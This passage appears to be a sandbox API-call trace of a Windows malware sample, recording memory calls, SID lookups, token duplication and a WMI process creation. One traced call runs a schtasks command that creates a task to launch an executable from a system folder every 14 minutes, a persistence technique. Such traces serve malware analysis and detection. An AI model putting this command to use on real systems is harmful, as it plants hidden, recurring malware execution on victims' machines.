[0154.793] free (_Block=0x2af180) [0154.793] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0154.793] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0154.793] malloc (_Size=0x18) returned 0x2af180 [0154.793] malloc (_Size=0x18) returned 0x2af1a0 [0154.793] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0154.793] SysStringLen (param_1="-") returned 0x1 [0154.794] memcpy (in: _Dst=0xd8d18, _Src=0x12dc48, _Size=0x3e | out: _Dst=0xd8d18) returned 0xd8d18 [0154.794] memcpy (in: _Dst=0xd8d54, _Src=0x142518, _Size=0x4 | out: _Dst=0xd8d54) returned 0xd8d54 [0154.794] free (_Block=0x2af280) [0154.794] free (_Block=0x2af180) [0154.794] malloc (_Size=0x18) returned 0x2af180 [0154.794] malloc (_Size=0x18) returned 0x2af280 [0154.794] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0154.794] SysStringLen (param_1="3835049652") returned 0xa [0154.794] memcpy (in: _Dst=0x12dc48, _Src=0xd8d18, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0154.794] memcpy (in: _Dst=0x12dc86, _Src=0x142518, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0154.794] free (_Block=0x2af1a0) [0154.794] free (_Block=0x2af180) [0154.794] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0154.794] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0154.794] malloc (_Size=0x18) returned 0x2af180 [0154.794] malloc (_Size=0x18) returned 0x2af1a0 [0154.794] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0154.794] SysStringLen (param_1="-") returned 0x1 [0154.794] memcpy (in: _Dst=0xd8d18, _Src=0x12dc48, _Size=0x54 | out: _Dst=0xd8d18) returned 0xd8d18 [0154.794] memcpy (in: _Dst=0xd8d6a, _Src=0x142518, _Size=0x4 | out: _Dst=0xd8d6a) returned 0xd8d6a [0154.795] free (_Block=0x2af280) [0154.795] free (_Block=0x2af180) [0154.795] malloc (_Size=0x18) returned 0x2af180 [0154.795] malloc (_Size=0x18) returned 0x2af280 [0154.795] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0154.795] SysStringLen (param_1="1000") returned 0x4 [0154.795] memcpy (in: _Dst=0x12dc48, _Src=0xd8d18, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0154.795] memcpy (in: _Dst=0x12dc9c, _Src=0x142518, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0154.795] free (_Block=0x2af1a0) [0154.795] free (_Block=0x2af180) [0154.795] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0154.795] malloc (_Size=0x5e) returned 0x2b0ad0 [0154.795] free (_Block=0x2af280) [0154.795] malloc (_Size=0x18) returned 0x2af280 [0154.796] free (_Block=0x2b0ad0) [0154.796] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0154.797] GetLastError () returned 0x7a [0154.797] malloc (_Size=0x14) returned 0x2af180 [0154.797] malloc (_Size=0x16) returned 0x2af1a0 [0154.797] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca94, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0154.797] malloc (_Size=0x18) returned 0x2af260 [0154.798] malloc (_Size=0x18) returned 0x2af240 [0154.798] free (_Block=0x2af180) [0154.798] free (_Block=0x2af1a0) [0154.798] free (_Block=0x2b86e0) [0154.798] free (_Block=0x2af240) [0154.798] free (_Block=0x2af260) [0154.798] free (_Block=0x2af280) [0154.798] free (_Block=0x2b8b50) [0154.799] malloc (_Size=0x48) returned 0x2ad6d0 [0154.799] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0154.804] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0154.804] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0154.804] malloc (_Size=0x18) returned 0x2af280 [0154.804] CreateEnvironmentBlock () returned 0x1 [0154.811] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0154.811] malloc (_Size=0x18) returned 0x2af260 [0154.811] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xcb0, dwThreadId=0xd00)) returned 1 [0154.816] CloseHandle (hObject=0x300) returned 1 [0154.816] CloseHandle (hObject=0x2fc) returned 1 [0154.816] free (_Block=0x2af260) [0154.817] DestroyEnvironmentBlock () returned 0x1 [0154.817] malloc (_Size=0x48) returned 0x2ad680 [0154.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x28bc8e20, dwHighDateTime=0x1d8a92a)) [0154.817] SetEvent (hEvent=0x1f0) returned 1 [0154.817] CloseHandle (hObject=0x2ac) returned 1 [0154.817] CloseHandle (hObject=0x248) returned 1 [0154.895] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0154.895] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0154.895] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0155.287] SetLastError (dwErrCode=0x0) [0155.287] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0155.287] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0155.287] SetLastError (dwErrCode=0x0) [0155.287] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0155.287] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0155.287] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0155.287] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0155.287] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0155.287] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0155.291] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0155.292] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.292] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.292] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0155.292] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.292] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0155.292] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0155.295] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0155.295] GetCurrentThread () returned 0xfffffffffffffffe [0155.295] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x234) returned 1 [0155.295] malloc (_Size=0xd8) returned 0x2b90e0 [0155.295] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0155.296] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0155.296] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0155.296] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0155.296] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0155.296] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0155.297] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0155.297] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0155.297] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0155.297] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0155.297] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0155.297] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0155.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0155.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0155.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0155.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0155.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0155.298] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0155.299] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0155.299] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0155.299] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0155.299] malloc (_Size=0x18) returned 0x2af280 [0155.299] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d4) returned 1 [0155.299] malloc (_Size=0x48) returned 0x2ad680 [0155.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x290658c0, dwHighDateTime=0x1d8a92a)) [0155.299] SetEvent (hEvent=0x1f0) returned 1 [0155.302] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0155.302] GetLastError () returned 0x7a [0155.302] malloc (_Size=0x2c) returned 0x2b8b10 [0155.302] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0155.302] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.302] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0155.302] malloc (_Size=0x1c) returned 0x2b8710 [0155.302] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.302] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0155.302] malloc (_Size=0x18) returned 0x2af280 [0155.302] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0155.302] malloc (_Size=0x18) returned 0x2af260 [0155.303] malloc (_Size=0x18) returned 0x2af240 [0155.303] SysStringLen (param_1="S-1-") returned 0x4 [0155.303] SysStringLen (param_1="5") returned 0x1 [0155.303] memcpy (in: _Dst=0x142308, _Src=0x1424e8, _Size=0xa | out: _Dst=0x142308) returned 0x142308 [0155.303] memcpy (in: _Dst=0x142310, _Src=0x142338, _Size=0x4 | out: _Dst=0x142310) returned 0x142310 [0155.303] free (_Block=0x2af280) [0155.303] free (_Block=0x2af260) [0155.303] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0155.303] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0155.303] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0155.303] malloc (_Size=0x18) returned 0x2af260 [0155.303] malloc (_Size=0x18) returned 0x2af280 [0155.303] SysStringLen (param_1="S-1-5") returned 0x5 [0155.303] SysStringLen (param_1="-") returned 0x1 [0155.303] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xc | out: _Dst=0x142338) returned 0x142338 [0155.303] memcpy (in: _Dst=0x142342, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142342) returned 0x142342 [0155.303] free (_Block=0x2af240) [0155.304] free (_Block=0x2af260) [0155.304] malloc (_Size=0x18) returned 0x2af260 [0155.304] malloc (_Size=0x18) returned 0x2af240 [0155.304] SysStringLen (param_1="S-1-5-") returned 0x6 [0155.304] SysStringLen (param_1="21") returned 0x2 [0155.304] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xe | out: _Dst=0x1424e8) returned 0x1424e8 [0155.304] memcpy (in: _Dst=0x1424f4, _Src=0x142308, _Size=0x6 | out: _Dst=0x1424f4) returned 0x1424f4 [0155.304] free (_Block=0x2af280) [0155.304] free (_Block=0x2af260) [0155.304] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0155.304] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0155.304] malloc (_Size=0x18) returned 0x2af260 [0155.304] malloc (_Size=0x18) returned 0x2af280 [0155.304] SysStringLen (param_1="S-1-5-21") returned 0x8 [0155.304] SysStringLen (param_1="-") returned 0x1 [0155.304] memcpy (in: _Dst=0x142308, _Src=0x1424e8, _Size=0x12 | out: _Dst=0x142308) returned 0x142308 [0155.304] memcpy (in: _Dst=0x142318, _Src=0x142338, _Size=0x4 | out: _Dst=0x142318) returned 0x142318 [0155.304] free (_Block=0x2af240) [0155.304] free (_Block=0x2af260) [0155.304] malloc (_Size=0x18) returned 0x2af260 [0155.305] malloc (_Size=0x18) returned 0x2af240 [0155.305] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0155.305] SysStringLen (param_1="4219442223") returned 0xa [0155.305] memcpy (in: _Dst=0x118128, _Src=0x142308, _Size=0x14 | out: _Dst=0x118128) returned 0x118128 [0155.305] memcpy (in: _Dst=0x11813a, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x11813a) returned 0x11813a [0155.305] free (_Block=0x2af280) [0155.305] free (_Block=0x2af260) [0155.305] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0155.305] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0155.305] malloc (_Size=0x18) returned 0x2af260 [0155.305] malloc (_Size=0x18) returned 0x2af280 [0155.305] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0155.305] SysStringLen (param_1="-") returned 0x1 [0155.305] memcpy (in: _Dst=0x118038, _Src=0x118128, _Size=0x28 | out: _Dst=0x118038) returned 0x118038 [0155.305] memcpy (in: _Dst=0x11805e, _Src=0x142308, _Size=0x4 | out: _Dst=0x11805e) returned 0x11805e [0155.305] free (_Block=0x2af240) [0155.305] free (_Block=0x2af260) [0155.305] malloc (_Size=0x18) returned 0x2af260 [0155.306] malloc (_Size=0x18) returned 0x2af240 [0155.306] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0155.306] SysStringLen (param_1="4223814209") returned 0xa [0155.306] memcpy (in: _Dst=0x12d6f8, _Src=0x118038, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0155.306] memcpy (in: _Dst=0x12d720, _Src=0x142308, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0155.306] free (_Block=0x2af280) [0155.306] free (_Block=0x2af260) [0155.306] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0155.306] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0155.306] malloc (_Size=0x18) returned 0x2af260 [0155.306] malloc (_Size=0x18) returned 0x2af280 [0155.306] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0155.306] SysStringLen (param_1="-") returned 0x1 [0155.306] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0155.306] memcpy (in: _Dst=0x1075c4, _Src=0x142308, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0155.306] free (_Block=0x2af240) [0155.306] free (_Block=0x2af260) [0155.306] malloc (_Size=0x18) returned 0x2af260 [0155.307] malloc (_Size=0x18) returned 0x2af240 [0155.307] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0155.307] SysStringLen (param_1="3835049652") returned 0xa [0155.307] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0155.307] memcpy (in: _Dst=0x12d736, _Src=0x142308, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0155.307] free (_Block=0x2af280) [0155.307] free (_Block=0x2af260) [0155.307] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0155.307] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0155.307] malloc (_Size=0x18) returned 0x2af260 [0155.307] malloc (_Size=0x18) returned 0x2af280 [0155.307] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0155.307] SysStringLen (param_1="-") returned 0x1 [0155.307] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0155.307] memcpy (in: _Dst=0x1075da, _Src=0x142308, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0155.307] free (_Block=0x2af240) [0155.307] free (_Block=0x2af260) [0155.307] malloc (_Size=0x18) returned 0x2af260 [0155.307] malloc (_Size=0x18) returned 0x2af240 [0155.308] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0155.308] SysStringLen (param_1="1000") returned 0x4 [0155.308] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0155.308] memcpy (in: _Dst=0x12d74c, _Src=0x142308, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0155.308] free (_Block=0x2af280) [0155.308] free (_Block=0x2af260) [0155.308] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0155.308] malloc (_Size=0x5e) returned 0x2b0ad0 [0155.308] free (_Block=0x2af240) [0155.308] malloc (_Size=0x18) returned 0x2af240 [0155.309] free (_Block=0x2b0ad0) [0155.309] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0155.310] GetLastError () returned 0x7a [0155.310] malloc (_Size=0x14) returned 0x2af260 [0155.310] malloc (_Size=0x16) returned 0x2af280 [0155.310] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca84, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0155.310] malloc (_Size=0x18) returned 0x2af1a0 [0155.310] malloc (_Size=0x18) returned 0x2af180 [0155.311] free (_Block=0x2af260) [0155.311] free (_Block=0x2af280) [0155.311] free (_Block=0x2b8710) [0155.311] free (_Block=0x2af180) [0155.311] free (_Block=0x2af1a0) [0155.311] free (_Block=0x2af240) [0155.312] free (_Block=0x2b8b10) [0155.312] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0155.312] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0155.312] GetLastError () returned 0x7a [0155.312] malloc (_Size=0x2c) returned 0x2b8b50 [0155.312] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0155.312] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.312] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0155.312] malloc (_Size=0x1c) returned 0x2b8710 [0155.312] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 